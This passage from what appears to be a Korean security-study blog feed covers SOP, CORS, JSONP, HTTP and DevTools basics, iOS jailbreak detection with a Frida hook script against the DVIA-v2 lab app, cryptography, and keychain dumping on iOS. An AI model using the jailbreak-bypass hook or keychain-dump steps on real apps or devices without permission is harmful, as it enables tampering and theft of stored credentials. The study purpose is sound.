<h3 id="2-same-origin-policy의-오리진origin-구분-방법">2) <strong>Same Origin Policy의 오리진(Origin) 구분 방법</strong></h3>
<ul>
<li>Origin은 프로토콜,포트,호스트로 구성<ul>
<li>해당 구성요소가 모두 일치해야 동일한 오리진으로 판단함<br>

</li>
</ul>
</li>
</ul>
<h3 id="3-same-origin-policy-실습">3) <strong>Same Origin Policy 실습</strong></h3>
<ul>
<li>SOP는 same origin일때만 정보를 읽을 수 있도록 해줌</li>
<li>외부 출처에서 불러온 데이터를 읽으려고 할때는 오류가 발생해 읽지 못함<ul>
<li>읽는 것 외에 데이터를 쓰는것을 문제없이 동작 가능<br>

</li>
</ul>
</li>
</ul>
<h3 id="4-same-origin-policy-sop-데모">4) <strong>Same Origin Policy (SOP) 데모</strong></h3>
<pre><code class="language-html">&lt;!-- iframe 객체 생성 --&gt;
&lt;iframe src=&quot;&quot; id=&quot;my-frame&quot;&gt;&lt;/iframe&gt;
&lt;!-- Javascript 시작 --&gt;
&lt;script&gt;
/* 2번째 줄의 iframe 객체를 myFrame 변수에 가져옵니다. */
let myFrame = document.getElementById(&#39;my-frame&#39;)
/* iframe 객체에 주소가 로드되는 경우 아래와 같은 코드를 실행합니다. */
myFrame.onload = () =&gt; {
    /* try ... catch 는 에러를 처리하는 로직 입니다. */
    try {
        /* 로드가 완료되면, secret-element 객체의 내용을 콘솔에 출력합니다. */
        let secretValue = myFrame.contentWindow.document.getElementById(&#39;secret-element&#39;).innerText;
        console.log({ secretValue });
    } catch(error) {
        /* 오류 발생시 콘솔에 오류 로그를 출력합니다. */
        console.log({ error });
    }
}
/* iframe객체에 Same Origin, Cross Origin 주소를 로드하는 함수 입니다. */
const loadSameOrigin = () =&gt; { myFrame.src = &#39;https://same-origin.com/frame.html&#39;; }
const loadCrossOrigin = () =&gt; { myFrame.src = &#39;https://cross-origin.com/frame.html&#39;; }
&lt;/script&gt;
&lt;!--
버튼 2개 생성 (Same Origin 버튼, Cross Origin 버튼)
--&gt;
&lt;button onclick=loadSameOrigin()&gt;Same Origin&lt;/button&gt;&lt;br&gt;
&lt;button onclick=loadCrossOrigin()&gt;Cross Origin&lt;/button&gt;
&lt;!--
frame.html의 코드가 아래와 같습니다.
secret-element라는 id를 가진 div 객체 안에 treasure라고 하는 비밀 값을 넣어두었습니다.
--&gt;
&lt;div id=&quot;secret-element&quot;&gt;treasure&lt;/div&gt;</code></pre>
<ul>
<li>same origin 버튼 : 모두 성공적으로 수행, treasure 값 출력</li>
<li>cross origin 버튼 : 세번째 과정이 실패하여 cross origin 데이터에 접근 불가한 오류 발생</li>
</ul>
<br>

<h3 id="5-same-origin-policy-제한-완화">5) <strong>Same Origin Policy 제한 완화</strong></h3>
<ul>
<li>브라우저가 SOP에 구애받지 않고 외부 출처에 대한 접근을 허용해 주는 경우가 존재</li>
<li>이미지나 자바스크립트 CSS등 리소스를 불러오는 <code>&lt;img&gt;</code>, <code>&lt;style&gt;</code>, <code>&lt;script&gt;</code> 등
 등의 태그는 SOP의 영향을 받지 않음</li>
<li>웹 서비스에서 동일 출처 정책인 SOP를 완화하여 다른 출처의 데이터를 처리해야 하는 경우도 존재함<ul>
<li>ex) 특정 포털 사이트에서 다른 각각의 host인 카페,블로그,메일 서비스를 운영하는 경우에 오리진이 다르지만, 메인페이지에서 메일서비스를 요청하도록 해야함 ⇒ SOP를 적용받지 않고 리소스 공유할 방법이 필요</li>
</ul>
</li>
<li>자원을 공유하기 위해 사용할 수 있는 공유방법을 <strong>교차 출처 리소스 공유 (Cross Origin Resource Sharing, CORS)</strong></li>
</ul>
<br>

<h3 id="6-cross-origin-resource-sharing-cors">6) <strong>Cross Origin Resource Sharing (CORS)</strong></h3>
<ul>
<li><p>교차 출처 리소스 공유 (Cross Origin Resource Sharing, CORS) 는 HTTP헤더에 기반하여 Cross Origin간에 리소스를 공유하는 방법임</p>
<pre><code class="language-jsx">/*
    XMLHttpRequest 객체를 생성합니다. 
    XMLHttpRequest는 웹 브라우저와 웹 서버 간에 데이터 전송을
    도와주는 객체 입니다. 이를 통해 HTTP 요청을 보낼 수 있습니다.
*/
xhr = new XMLHttpRequest();
/* https://theori.io/whoami 페이지에 POST 요청을 보내도록 합니다. */
xhr.open(&#39;POST&#39;, &#39;https://theori.io/whoami&#39;);
/* HTTP 요청을 보낼 때, 쿠키 정보도 함께 사용하도록 해줍니다. */
xhr.withCredentials = true;
/* HTTP Body를 JSON 형태로 보낼 것이라고 수신측에 알려줍니다. */
xhr.setRequestHeader(&#39;Content-Type&#39;, &#39;application/json&#39;);
/* xhr 객체를 통해 HTTP 요청을 실행합니다. */
xhr.send(&quot;{&#39;data&#39;:&#39;WhoAmI&#39;}&quot;);</code></pre>
<ul>
<li>발신측에서 POST방식으로 HTTP 요청을 보냈으나, OPTIONS 메소드를 가진 HTTP요청이 전달된 것을 확인 가능 ⇒ 이를 <strong>CORS preflight</strong> 라고 함 (수신측에 리소스 요청해도 되는지 질의 과정)</li>
</ul>
<pre><code class="language-jsx">OPTIONS /whoami HTTP/1.1
Host: theori.io
Connection: keep-alive
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
Origin: https://dreamhack.io
Accept: */
Referer: https://dreamhack.io/</code></pre>
<ul>
<li>“Access-Control-Request”로 시작하는 헤더가 존재, 해당 헤더는 각각 메소드와 헤더를 추가적으로 사용할 수 있는지 질의</li>
</ul>
<pre><code class="language-jsx">HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://dreamhack.io
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Content-Type</code></pre>
<ul>
<li>서버에서 허용되는 Origin,Methods,Credentials(쿠키사용 여부), Header 를 응답해줌</li>
</ul>
</li>
</ul>
<br>


<h3 id="7-json-with-padding-jsonp">7) <strong>JSON with Padding (JSONP)</strong></h3>
<ul>
<li>이미지나 자바스크립트, CSS 등 리소스는 SOP에 구애받지 않고 외부 출처에 대해 접근을 허용</li>
<li>JSONP 방식은 이러한 특징을 이용해 <code>&lt;script&gt;</code>태그로 Cross Origin의 데이터를 불러옴<ul>
<li><code>&lt;script&gt;</code>태그에서는 자바스크립트로 인식하기 때문에 Callback함수를 활용</li>
<li>Cross Origin 에 요청할 때 callback 파라미터에 받아오는 데이터를 넘겨주면, 
대상 서버는 전달된 callback으로 데이터를 감싸 응답함</li>
</ul>
</li>
<li>현재는 거의 사용하지 않으며, CORS를 사용하는 추세임</li>
</ul>
<pre><code class="language-html">&lt;script&gt;
/* myCallback이라는 콜백 함수를 지정합니다. */
function myCallback(data){
    /* 전달받은 인자에서 id를 콘솔에 출력합니다.*/
    console.log(data.id)
}
&lt;/script&gt;
&lt;!--
https://theori.io의 스크립트를 로드하는 HTML 코드입니다.
단, callback이라는 이름의 파라미터를 myCallback으로 지정함으로써
수신측에게 myCallback 함수를 사용해 수신받겠다고 알립니다.
--&gt;
&lt;script src=&#39;http://theori.io/whoami?callback=myCallback&#39;&gt;&lt;/script&gt;</code></pre>
<pre><code class="language-javascript">/*
수신측은 myCallback 이라는 함수를 통해 요청측에 데이터를 전달합니다.
전달할 데이터는 현재 theori.io에서 클라이언트가 사용 중인 계정 정보인
{&#39;id&#39;: &#39;dreamhack&#39;} 입니다. 
*/
myCallback({&#39;id&#39;:&#39;dreamhack&#39;});</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[[WEB] Background]]></title>
            <link>https://velog.io/@hyeon_iyy/WEB-Background</link>
            <guid>https://velog.io/@hyeon_iyy/WEB-Background</guid>
            <pubDate>Tue, 21 Feb 2023 07:55:53 GMT</pubDate>
            <description><![CDATA[<h2 id="1-background--web">1. Background : web</h2>
<h3 id="1-웹-서비스-프론트엔드와-백엔드">1) <strong>웹 서비스, 프론트엔드와 백엔드</strong></h3>
<ul>
<li>프론트엔드 : 이용자의 요청을 받는 부분</li>
<li>백엔드 : 요청을 처리하는 부분</li>
<li>웹 리소스 : 페이지가 보여주고 있는 정보들이 명시된 부분</li>
</ul>
<h3 id="2-웹-리소스">2) 웹 리소스</h3>
<ul>
<li>웹 리소스란, 웹에 갖춰진 정보 자산을 의미</li>
<li>모든 웹 리소스는 고유의 URI를 가지며 식별됨</li>
</ul>
<ol>
<li><strong>HTML</strong> : 웹 문서의 뼈와 살을 담당</li>
<li><strong>CSS</strong> : 웹 문서의 생김새를 지정, 스타일 시트 및 글자 색상,모양 등 시각화</li>
<li><strong>JS</strong> : 웹 문서의 동작을 정의, 버튼 클릭시 반응 및 전송위치 등 (client-side script)</li>
<li>그 외 (문서, 이미지, 동영상 등)</li>
</ol>
<br>
<br>


<h2 id="2-background--httphttps">2. Background : HTTP/HTTPS</h2>
<h3 id="1-인코딩">1) 인코딩</h3>
<ul>
<li>아스키와 유니코드가 존재함</li>
<li>아스키 “1000001” 은 “A”로 해석됨 → 하지만, 글자가 — 등으로 출력되는 인코딩 호환 에러 발생</li>
<li>그래서, 유니코드라는 새로운 표준이 생성됨<ul>
<li>한글, 이모지, 한자 등 유니코드에 포함</li>
</ul>
</li>
<li>유니코드로 인코딩된 데이터가 웹 서버를 통해 우리에게 전달</li>
</ul>
<br>

<h3 id="2-http">2) HTTP</h3>
<ul>
<li><p><strong>HTTP</strong></p>
<ul>
<li>서버와 클라이언트의 데이터 교환을 요청과 응답 형식으로 정의한 프로토콜</li>
<li>TCP/80 또는 TCP/8080</li>
<li>네트워크 포트와 서비스 포트가 존재하며, 
포트로 데이터를 교환하는 방식은 전송 계층의 프로토콜을 따름</li>
</ul>
</li>
<li><p><strong>HTTP 메시지</strong></p>
<ul>
<li>HTTP헤드 : 필드와 값으로 구성되며 바디의 속성을 나타냄</li>
<li>HTTP바디 : 헤드의 끝을 나타내는 CRLF뒤 모든 줄을 말함. 데이터가 담김</li>
</ul>
</li>
<li><p><strong>HTTP 요청</strong></p>
<ul>
<li>메소드, 요청URI, HTTP버전으로 구성<ul>
<li>GET 메소드 : 리소스를 가져오라는 메소드</li>
<li>POST 메소드 : 리소스로 데이터를 보내라는 메소드</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>HTTP 응답</strong></p>
<ul>
<li>HTTP버전, 상태코드, 처리사유로 구성</li>
<li>상태 코드 상세 설명</li>
</ul>
</li>
</ul>
<pre><code>| 응답코드 | 설명 | 상세 내역 |
| --- | --- | --- |
| 1xx | 요청을 제대로 받았고, 처리가 진행 중임 |  |
| 2xx | 요청이 제대로 처리됨 | 200: 성공 |
| 3xx | 요청을 처리하려면, 클라이언트가 추가 동작을 취해야 함. | 302: 다른 URL로 갈 것 |
| 4xx | 클라이언트가 잘못된 요청을 보내어 처리에 실패했습니다. | 400: 요청이 문법에 맞지 않음 403: 리소스에 요청할 권한 없음 404: 리소스가 없음 |
| 5xx | 클라이언트의 요청은 유효하지만, 서버에 에러가 발생하여 처리에 실패했습니다. | 500: 요청을 처리 중 에러 발생 503: 서버가 과부하로 인해 요청을 처리할 수 없음 |</code></pre><h3 id="3-https">3) HTTPS</h3>
<ul>
<li>HTTPS는 TLS프로토콜을 도입하여 HTTP메시지를 암호화하여 문제점을 보완</li>
<li>결과적으로 HTTP 통신이 도청과 변조로부터 보호됨</li>
<li>PORT 443 사용<br>

</li>
</ul>
<hr>
<br>

<h2 id="3-background-web-browser">3. <strong>Background: Web Browser</strong></h2>
<h3 id="1-웹-브라우저">1) 웹 브라우저</h3>
<ul>
<li>웹 브라우저는 서버와 HTTP통신을 대신해주고, 리소스를 시각화해줌</li>
<li>이용자는 브라우저를 통해 정보 검색하지만 내부의 연산은 알지못함</li>
</ul>
<h3 id="2-url">2) URL</h3>
<ul>
<li>URL은 웹에 있는 리소스의 위치를 표현하는 문자열, 이를 서버에 요청하여 리소스에 접근가능</li>
<li>URL 구성 요소<ol>
<li>Scheme : 웹 서버와 어떤 프로토콜로 통신할지</li>
<li>Host : Authority 일부로, 웹 서버의 주소에 대한 정보를 보유</li>
<li>Path : 접근할 웹 서버의 리소스 경로 ‘/’로 구분</li>
<li>Query : 웹 서버에 전달하는 파라미터이며 URL에서 ‘?’뒤에 위치</li>
<li>Fragment : 메인 리소스에 존재하는 서브 리소스에 접근하기위한 식별 정보 ‘#’뒤에 위치</li>
</ol>
</li>
</ul>
<h3 id="3-domain-name">3) Domain Name</h3>
<ul>
<li>Host는 Domain Name과 ip address를 가지는데, ip 는 식별하기 위해 사용되는 주소</li>
<li>브라우저는 DNS에 Domain Name을 질의하고 DNS가 응답한 ip 를 사용함</li>
<li>ex) naver 에 접속할 때 DNS에 질의해 얻은 naver의 ip와 통신함</li>
</ul>
<h3 id="4-웹-렌더링">4) 웹 렌더링</h3>
<ul>
<li>서버에서 받은 리소스(html,css,js 등)를 이용자에게 시각화하는 행위</li>
<li>브라우저는 HTML을 파싱하고 CSS를 적용하여 이용자에게 보여줌</li>
<li>웹 렌더링 엔진(사파리-웹킷, 크롬-블링크, 파이어폭스-개코)에 따라 과정과 순서의 차이는 있지만 시각화하여 보여주는것은 동일함</li>
</ul>
<br>
<br>

<h2 id="4-tools-browser-devtools">4. <strong>Tools: Browser DevTools</strong></h2>
<h3 id="1-개발자-도구">1) 개발자 도구</h3>
<ul>
<li>개발자 도구 레이아웃<ul>
<li><strong>Elements</strong>: 페이지를 구성하는 HTML 검사</li>
<li><strong>Network</strong>: 서버와 오가는 데이터를 확인할 수 있음</li>
<li><strong>Application</strong>: 쿠키를 포함하여 웹 어플리케이션과 관련된 데이터를 확인할 수 있음</li>
</ul>
</li>
</ul>
<ol>
<li><p><strong>요소 검사</strong> </p>
<ul>
<li>요소 검사를 원하는 요소에 클릭하면, 해당 부분과 관련된 HTML코드가 하이라이팅됨</li>
</ul>
</li>
<li><p><strong>디바이스 툴바</strong></p>
<ul>
<li>브라우저의 화면 비율 및 User-Agent를 원하는 값으로 변경 가능</li>
</ul>
</li>
<li><p><strong>Elements</strong></p>
<ul>
<li>코드를 선택하여 수정 가능</li>
</ul>
</li>
<li><p><strong>Console</strong></p>
<ul>
<li><p>프론트엔드의 js코드에서 발생한 메시지를 출력하고, 이용자가 입력한 js코드도 실행해주는 도구</p>
</li>
<li><p>코드를 작성하면서 어떤 변수의 값을 중간에 출력해보고 싶다면, console.log 사용 가능</p>
</li>
<li><p>console 사용한 js 실행 코드</p>
<pre><code class="language-jsx">  // &quot;hello&quot; 문자열을 출력하는 alert 함수를 실행합니다.
  alert(&quot;hello&quot;);
  // prompt는 popup box로 이용자 입력을 받는 함수입니다.
  // 이용자가 입력한 데이터는 return value로 설정됩니다.
  var value = prompt(&#39;input&#39;)
  // confirm 는 확인/취소(yes/no)를 확인하는 이용자로부터 입력 받는 함수입니다.
  // 이용자의 선택에 따라 Boolean(true/false)타입의 return value를 가집니다.
  var true_false = confirm(&#39;yes or no ?&#39;);
  // document.body를 변경합니다.
  document.body.innerHTML = &#39;&lt;h1&gt;Refresh!&lt;/h1&gt;&#39;;
  // document.body에 새로운 html 코드를 추가합니다.
  document.body.innerHTML += &#39;&lt;h1&gt;HI!&lt;/h1&gt;&#39;;</code></pre>
</li>
</ul>
</li>
</ol>
<ol start="5">
<li><p><strong>Sources</strong></p>
<ul>
<li>현재 페이지를 구성하는 웹 리소스 확인 가능</li>
<li>Debug<ul>
<li>자바스크립트를 디버깅 가능</li>
<li>원하는 라인에 브레이크 포인트를 설정하고, scope에서 변수 확인 및 값  변경 가능</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>Network</strong></p>
<ul>
<li>서버와 오가는 데이터를 확인 가능</li>
<li>로깅 및 네트워크 로그 확인 가능</li>
<li>요청 및 응답 데이터 확인 가능</li>
<li>Copy<ul>
<li>로그를 우클릭 &gt; copy as fatch를 통해 console에 붙여 넣으면, 
동일한 요청을 서버에 재전송 할 수 있음</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>Application</strong></p>
<ul>
<li>쿠키, 캐시, 이미지, 폰트 등 애플리케이션과 관련된 리소스 조회 가능</li>
<li>브라우저에 저장된 쿠키 확인하고 수정 가능</li>
</ul>
</li>
<li><p><strong>Console Drawer</strong></p>
<ul>
<li>개발자 도구에 새로운 콘솔창을 열어 효율 높임</li>
<li>네트워크 패널과 콘솔 패널을 동시에 사용 가능</li>
</ul>
</li>
</ol>
<br>

<h3 id="2-기타-브라우저-기능">2) 기타 브라우저 기능</h3>
<ul>
<li>페이지 소스 보기 : 모든 페이지 소스 확인 가능 (ctrl + U)</li>
<li>시크릿 브라우징 모드 :  시크릿 모드 탭은 쿠키를 공유하지 않음 (ctrl + shift + N)</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[iOS] Jailbreak Detection]]></title>
            <link>https://velog.io/@hyeon_iyy/iOS-Jailbreak-Detection</link>
            <guid>https://velog.io/@hyeon_iyy/iOS-Jailbreak-Detection</guid>
            <pubDate>Mon, 06 Feb 2023 10:02:40 GMT</pubDate>
            <description><![CDATA[<h1 id="1-jailbreak-detection-탈옥탐지">1. Jailbreak Detection (탈옥탐지)</h1>
<ul>
<li>iOS탈옥은 샌드 박스를 풀어 서명되지 않은 코드를 실행할 수 있게 하는 과정</li>
<li>탈옥된 단말기에서 앱 실행을 어렵게 하기 위해 리버싱 방어 기능을 추가함</li>
<li>탈옥 여부 확인 방법<ol>
<li>파일 권한 확인, 샌드박스 외부에 파일 생성</li>
<li>프로토콜 핸들러 ( cydia:// ) 를 설치</li>
<li>시스템 API를 호출하는것으로 여부 확인 가능</li>
</ol>
</li>
</ul>
<br>


<h2 id="1-탈옥-탐지-사용되는-tool">1. 탈옥 탐지 사용되는 tool</h2>
<h3 id="1-사용되는-tool">1) 사용되는 Tool</h3>
<ul>
<li><p><strong>Ghidra 기드라</strong></p>
<ul>
<li>설치 및 실행
 <a href="https://ghidra-sre.org/">https://ghidra-sre.org/</a><ul>
<li>실행시키기 위해 JDK 11버전 이상 필요</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>Frida 프리다</strong></p>
<ul>
<li>오픈소스로 DBI 프레임 워크</li>
<li>자바스크립트를 네이티브 앱에 삽입 가능, 다양한 플랫폼에 인젝션이 가능</li>
<li>스크립트 가능/ 멀티 플랫폼 / Battle-tested / Free and open-source</li>
<li>함수 후킹, 디버깅, 힙 메모리 내 검색, 암호 해독 등 기능</li>
</ul>
</li>
</ul>
<br>


<h3 id="2-frida-문법">2) Frida 문법</h3>
<ul>
<li><p><strong>ObjC.available</strong></p>
<ul>
<li>현재 프로세스에 Objective-C 런타임이 로드 되었는지 여부</li>
<li>해당 앱에서 Frida가 실행 가능한 환경인지 검사 !</li>
</ul>
</li>
<li><p><strong>ObjC.classes</strong></p>
<ul>
<li>현재 등록된 클래스에 대한 ObjC.object 자바스크립트 바인딩에 대한 오브젝트 맵핑 클래스 이름</li>
<li>프로세스에 로드된 클래스들의 이름을 보여줌</li>
</ul>
</li>
<li><p><strong>Interceptor.attach(target,callback[,data])</strong></p>
<ul>
<li><p>target에서 함수에 대한 호출을 가로챔 (호출을 가로채고자 하는 함수의 주소를 지정 NativePointer)</p>
</li>
<li><p>callbacks 인수는 하나 이상을 포함하는 오브젝트(객체)</p>
<ul>
<li><p>onEnter:function(args)
: NativePointer 객체의 배열로 인수를 읽고 쓰는 하나의 인수 args</p>
</li>
<li><p>onLeave:function(retval)
: 원래 return값을 포함하는 NavtivePointer 에서 파생 객체인 인수 retval이 제공된 callback함수 
 : retval.replcae(ptr(0x1234))를 포인터로 변경 가능</p>
</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>Module.findBaseAddress(name)</strong></p>
</li>
<li><p><strong>Module.getBaseAddress(name)</strong></p>
<ul>
<li>name모듈의 base주소를 반환</li>
<li>모듈을 찾을 수 없는 경우, find-prefixed 함수는 null 반환 / get-prefixed 함수는 예외 발생</li>
</ul>
</li>
<li><p><strong>NativePointer(new NativePointer(s))</strong></p>
<ul>
<li>메모리 주소를 10진수 또는 16진수로 포함하는 문자열(s)에서 새로운 NativePointer를 생성</li>
<li>간결하게 ptr(s)로 사용 가능</li>
</ul>
</li>
</ul>
<br>


<p><strong>&lt; 객체 속성&gt;</strong></p>
<ul>
<li><strong>$methods</strong><ul>
<li>주어진 객체의 클래스와 부모 클래스에 의해 노출된 기본 메소드 이름을 포함하는 배열</li>
</ul>
</li>
<li><strong>$ownMethods</strong><ul>
<li>부모 클래스를 포함하지 않고, 주어진 객체의 클래스에 의해 노출된 기본 메소드 이름을 포함하는 배열</li>
</ul>
</li>
<li><strong>context</strong><ul>
<li>프로세스별 키가 있는 객체</li>
<li>이 키에 할당한여 레지스터 값을 업데이트 가능</li>
</ul>
</li>
</ul>
<br>

<hr>
<br>


<h2 id="2-탈옥-탐지-사용되는-tool">2. 탈옥 탐지 사용되는 tool</h2>
<h3 id="1-정적-분석">1) 정적 분석</h3>
<ul>
<li>바이너리 IDA를 통해 분석 → string 검색으로 “jailbreaken”발견</li>
<li>해당 부분을 호출하는 위치를 확인해보면, 분기문을 통해 실행경로가 나눠지는 것을 확인<ul>
<li>‘<strong>tbz   w0,#0x0,LAB_1001cc17c’</strong> 로  해당 결과에 따라 분기가 나뉨</li>
</ul>
</li>
</ul>
<h3 id="2-aslr-적용여부-확인">2) ASLR 적용여부 확인</h3>
<p>(ASLR : 메모리 손상 취약점 공격을 방지하기 위한 기술, 프로그램 호출마다 메모리 주소 바뀜)</p>
<p> #otool -Vh [바이너리 명] 명령어 입력 ! 
    - 헤더 값에서 PIE ASLR이 적용됨을 의미함</p>
<h3 id="3-hooking">3) hooking</h3>
<ul>
<li><p>Frida를 사용하여 해당 부분을 후킹하여 우회하기</p>
<p>```
var realBase = Module.findBaseAddress(&#39;DVIA-v2&#39;)
console.log(realBase)</p>
<p>var Jailbreak_address=realBase.add(&#39;0x1cbdd0&#39;)
console.log(Jailbreak_address)</p>
<p>Interceptor.attach(Jailbreak_address, {        </p>
<pre><code>onEnter:function(args){
    console.log(JSON.stringify(this.context))
}</code></pre><p>})</p>
</li>
<li><p>메모리에 할당된 레지스터 값 확인 및 분석 가능</p>
</li>
</ul>
<blockquote>
<p>&lt;레지스터 표현 방식&gt;
64bit 환경에서는 x0 ~ x30 으로 표현
32bit 환경에서는 w0 ~ w30 으로 표현</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[대칭키 vs 공개키(비대칭키) 암호화]]></title>
            <link>https://velog.io/@hyeon_iyy/%EB%8C%80%EC%B9%AD%ED%82%A4-vs-%EA%B3%B5%EA%B0%9C%ED%82%A4%EB%B9%84%EB%8C%80%EC%B9%AD%ED%82%A4-%EC%95%94%ED%98%B8%ED%99%94</link>
            <guid>https://velog.io/@hyeon_iyy/%EB%8C%80%EC%B9%AD%ED%82%A4-vs-%EA%B3%B5%EA%B0%9C%ED%82%A4%EB%B9%84%EB%8C%80%EC%B9%AD%ED%82%A4-%EC%95%94%ED%98%B8%ED%99%94</guid>
            <pubDate>Sun, 29 Jan 2023 06:20:24 GMT</pubDate>
            <description><![CDATA[<h1 id="대칭키-vs-공개키비대칭키">대칭키 vs 공개키(비대칭키)</h1>
<ul>
<li>대칭키 암호화 방식 : 암복호화에 사용하는 키가 동일함</li>
<li>공개키 암호화 방식 : 암복호화에 사용하는 키가 서로 다르며 비대칭키 암호화라고도 함</li>
</ul>
<br>
<br>

<h1 id="1-대칭키">1. 대칭키</h1>
<p><img src="https://velog.velcdn.com/images/hyeon_iyy/post/c02c0564-959d-44df-bac8-2f4e989216f6/image.png" alt=""></p>
<ul>
<li>장점 : 암호화방식에 속도가 빠르다. 대용량 Data 암호화에 적합하다.</li>
<li>단점 : 키를 교환해야 하는 문제, 탈취 관리 걱정, 사람이 증가할수록 키관리가 어려워짐, 확장성 떨어짐</li>
<li>Session Key, Secret Key, Shared Key, 대칭키, 단용키라고도 함</li>
<li>기밀성을 제공하나, 무결성/인증/부인방지 를 보장하지 않음</li>
<li>대표적 알고리즘 : 공인인증서의 암호화방식으로 유명한 SEED, DES, 3DES, AES, ARIA, 최근 주목받고 있는 암호인 ChaCha20</li>
</ul>
<br>

<hr>
<br>

<h1 id="2-공개키">2. 공개키</h1>
<p><img src="https://velog.velcdn.com/images/hyeon_iyy/post/9a3849aa-9c0a-4201-939d-199a6b93c36c/image.png" alt=""></p>
<p>공개키는 모든 사람이 접근 가능한 키이고 개인키는 각 사용자만이 가지고 있는 키이다. </p>
<ul>
<li><p>단점 : 속도가 느림</p>
</li>
<li><p>장점 : 키분배 필요 X, 기밀성/인증/부인방지 기능 제공</p>
</li>
<li><p>방식</p>
<ul>
<li><p><strong>암호 모드</strong> : 송신자 공개키로 암호화 -&gt; 송신자 개인키로 복호화 소량의 메시지 암호화 목적, 주로 키 교환의 용도로 사용</p>
</li>
<li><p><strong>인증 모드</strong> : 송신자 개인키로 암호화 -&gt; 송신자 공개키로 복호화 메시지를 인증(부인방지)하는 것이 목적</p>
<pre><code>Q. 인증모드의 경우, 중간자 공격으로 메시지를 탈취하여 공개키로 복호화 가능하지 않나요?
A. 메세지의 기밀성 보단 송신자를 분명하게 하는 방법. 데이터 제공자의 신원이 보장되는 &#39;전자서명&#39;공인체계의 기본</code></pre></li>
</ul>
</li>
</ul>
<br>

<h2 id="1-대표적인-알고리즘">1. 대표적인 알고리즘</h2>
<h3 id="1-diffie-hellman">1) Diffie Hellman</h3>
<ul>
<li>최초의 공개키 알고리즘, 위조에 취약</li>
<li>키 배포센터(KDC) 없이 <strong>대칭 세션키</strong>를 생성</li>
<li>공유할 키를 계산하여 만들어 내는 것, 키 합의라 불리기도 함</li>
<li>이산대수를 풀기 어려움을 기반으로 한 알고리즘</li>
<li>중간자 공격에 취약하며, 인증단계가 없기 때문<ul>
<li>중간자 공격을 막기 위해 전자서명과 공개키 인증서 등을 사용</li>
</ul>
</li>
</ul>
<h3 id="2--rsa">2)  RSA</h3>
<ul>
<li>공개키 알고리즘의 표준</li>
<li>인수분해 문제 해결의 높은 난이도를 이용한 공개키 알고리즘</li>
<li>암호화뿐만 아니라 전자서명(디지털 서명)의 용도로도 사용</li>
<li>키의 크기는 1024 혹은 2048비트</li>
</ul>
<h3 id="3--dsa">3)  DSA</h3>
<ul>
<li>전자서명 알고리즘 표준</li>
<li>이산대수 문제를 이용하는 Schorr와 ElGaml암호 알고리즘을 변경하여 디지털 서명에 사용</li>
</ul>
<h3 id="4--ecc">4)  ECC</h3>
<ul>
<li>타원 곡선 암호</li>
<li>짧은 키로 높은 암호 강도, 빠른 구현 가능 PDA, 스마트폰등에 사용</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[iOS] Local Data Storage]]></title>
            <link>https://velog.io/@hyeon_iyy/iOS-Local-Data-Storage</link>
            <guid>https://velog.io/@hyeon_iyy/iOS-Local-Data-Storage</guid>
            <pubDate>Fri, 27 Jan 2023 14:57:18 GMT</pubDate>
            <description><![CDATA[<h1 id="1-local-data-storage">1. Local Data Storage</h1>
<ul>
<li>임시 데이터와 영구 데이터를 저장하기 위해 로컬 시스템과 상호작용</li>
<li>임시/영구 형식으로 안전하지 않은 형태로 저장하면 위험함</li>
<li>내부에 저장하기 위한 다양한 형식 존재(XML&amp;Plist , SQLite, Keychain, Core data)</li>
</ul>
<br>


<h2 id="1-plist">1. Plist</h2>
<ul>
<li>애플리케이션 데이터 및 설정 정보를 저장하는데 사용되는 XML 파일</li>
<li>저장된 정보는 암호화가 되지 않아 중요한 정보를 저장하면 안됨</li>
<li>info.plist 는 버전 정보, 실행 가능한 바이너리 이름, 지원되는 ios 정보 저장</li>
</ul>
<br>


<h2 id="2-keychain">2. Keychain</h2>
<ul>
<li>iOS 키체인은 <strong>암호화된 데이터 베이스</strong></li>
<li>키체인은 API를 통해 접속 가능하며, SQLite 데이터베이스로 구현됨</li>
<li>모든 앱에서 하나의 키체인만 사용가능</li>
<li><strong>KeyChain_dumper</strong> 도구를 사용하면 디바이스의 키체인 내용을 덤프 및 복호화</li>
</ul>
<br>

<h3 id="1-keychain_dumper-실습">1) <strong>KeyChain_dumper</strong> 실습</h3>
<ol>
<li>KeyChain_dumper-master.zip 를 다운 및 단말기에 삽입</li>
<li>SSH 접속하여 압축을 풀고, 해당 디렉토리로 이동</li>
<li>“setup_on_iOS.sh” 파일의 권한을 변경하고 해당 파일을 설치함</li>
<li>#keychain_dumper 명령어로 키체인과 관련된 정보들을 출력 <ul>
<li>해당 정보들에서 중요 정보/민감 정보가 있는지 확인</li>
<li>키 체인에 사용자의 입력값이 저장될 수 도 있음
<a href="https://github.com/ptoomey3/Keychain-Dumper">https://github.com/ptoomey3/Keychain-Dumper</a></li>
</ul>
</li>
</ol>
<br>

<h3 id="2-keychaindb-위치">2) keyChain.db 위치</h3>
<ol>
<li>/private/var/Keychains 디렉토리에서 keychain.db를 추출</li>
<li>SQLite 를 사용하여 keychain.db를 열어 데이터 확인해보자</li>
</ol>
<blockquote>
<p>💡 Keychain은 안전한가 ?</p>
</blockquote>
<ul>
<li>keychain dump를 통해 값이 복호화되어 노출되는 것을 확인할 수 있음.</li>
<li>따라서 keychain에 저장되는 민감 정보 및 중요 정보까지도 암호화하여 저장해야함</li>
</ul>
<br>


<h2 id="3-core-data">3. Core Data</h2>
<ul>
<li>core data는 애플리케이션 모델 객체를 관리 (MVC 모델) 하기 위한 프레임 워크</li>
<li>core data는 SQLite 영구 저장소를 사용 가능하지만. 프레임워크 자체는 데이터베이스 아님</li>
<li><strong>sqlite 데이터베이스</strong> 확인 가능<br>

</li>
</ul>
<h2 id="4-webkit-caching">4. Webkit Caching</h2>
<ul>
<li>웹 페이지를 로드하기 위해 UIWEBView 를 사용하는 애플리케이션은 응답시간을 단축시키기 위해 Caching을 사용</li>
<li>UIWEBView (앱에 웹 컨텐츠를 포함하는 뷰)</li>
